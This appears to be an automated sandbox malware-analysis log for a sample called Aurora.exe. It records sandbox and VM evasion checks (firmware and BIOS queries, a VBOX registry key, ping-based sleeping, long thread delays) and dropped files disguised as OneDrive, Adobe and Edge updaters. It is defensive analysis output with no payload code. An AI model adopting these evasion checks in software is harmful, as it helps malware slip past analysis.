Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7388, type: MEMORYSTR

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_1-4776

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Aurora.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\Aurora.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1			Jump to behavior

Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 4100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 42F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 4100000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 6DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 7DF0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 6DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 7F20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 8F20000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Memory allocated: 9170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Memory allocated: E40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Memory allocated: 2890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Memory allocated: 2740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory allocated: 1690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory allocated: 50B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 12B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2FB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4FB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: E80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: 29F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: 49F0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2DF0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2FB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4FB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: 3270000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: 3270000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: 5270000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: 1050000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: 2C60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: 11B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1140000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2E20000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2C00000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Aurora.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5487	Jump to behavior
Source: C:\Users\user\AppData\Local\Msedge.exe	Window / User API: threadDelayed 4082
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8756
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6872
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2790
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4783
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 540

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	API coverage: 8.1 %
Source: C:\Users\user\AppData\Local\Msedge.exe	API coverage: 4.8 %

Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe TID: 6012	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe TID: 5216	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep count: 5487 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352	Thread sleep count: 233 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7504	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Msedge.exe TID: 7256	Thread sleep count: 4082 > 30
Source: C:\Users\user\AppData\Local\Msedge.exe TID: 7256	Thread sleep time: -81640s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 8756 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep count: 226 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe TID: 7764	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7896	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe TID: 8148	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776	Thread sleep count: 6872 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 2790 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 984	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe TID: 7920	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7928	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep count: 4783 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6120	Thread sleep count: 540 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4420	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Msedge.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Msedge.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
